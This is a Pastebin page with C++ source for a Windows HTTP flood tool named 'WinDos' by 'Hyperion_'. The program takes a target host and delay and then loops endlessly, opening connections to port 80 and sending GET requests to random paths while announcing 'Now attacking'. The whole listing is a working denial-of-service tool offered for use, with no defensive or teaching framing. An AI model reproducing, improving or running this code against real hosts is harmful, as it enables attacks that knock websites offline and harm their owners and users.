Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <stdio.h>
- #include <string>
- #include <WinSock2.h>
- #include <sstream>
- #include <windows.h>
- #pragma comment(lib, "ws2_32.lib")
- using namespace std;
- string convertInt(int number)
- {
- stringstream sStream;
- sStream << number;
- return sStream.str();
- }
- string Req = "";
- int main(int argc, char* argv[])
- {
- printf("WinDos - Coded by Hyperion_\n");
- string Input;
- string progname = (string)argv[0];
- string Host = (string)argv[1];
- int WaitMS = atoi(argv[2]);
- if(Host == "")
- {
- printf("Arguments: %s <host> <MS Inbetween requests>\n", argv[0]);
- return 1;
- }
- printf("Connected to: %s\n", argv[1]);
- printf("Now attacking: %s\n", argv[1]);
- int rCounter = 1;
- int rRand = rand() % 99999999999999;
- while(true)
- {
- WSADATA wsaData;
- if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
- {
- printf("WSAStartup failed.\n");
- return 1;
- }
- SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- struct hostent *host;
- host = gethostbyname(Host.c_str());
- SOCKADDR_IN SockAddr;
- SockAddr.sin_port=htons(80);
- SockAddr.sin_family=AF_INET;
- SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
- if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr)) != 0)
- {
- printf("Socket Failed!\n");
- }
- Req = "";
- Req.append("GET /");
- Req.append(convertInt(rRand));
- Req.append(" HTTP/1.1\r\nHost: ");
- Req.append(Host);
- Req.append("\r\nConnection: close\r\n\r\n");
- printf("Sent Get Request: #%i To: %s\n", rCounter, argv[1]);
- send(Socket, Req.c_str(), strlen(Req.c_str()), 0);
- if(WaitMS != 0)
- {
- Sleep(WaitMS);
- }
- rRand = rand() % 99999999999999;
- rCounter++;
- closesocket(Socket);
- }
- WSACleanup();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement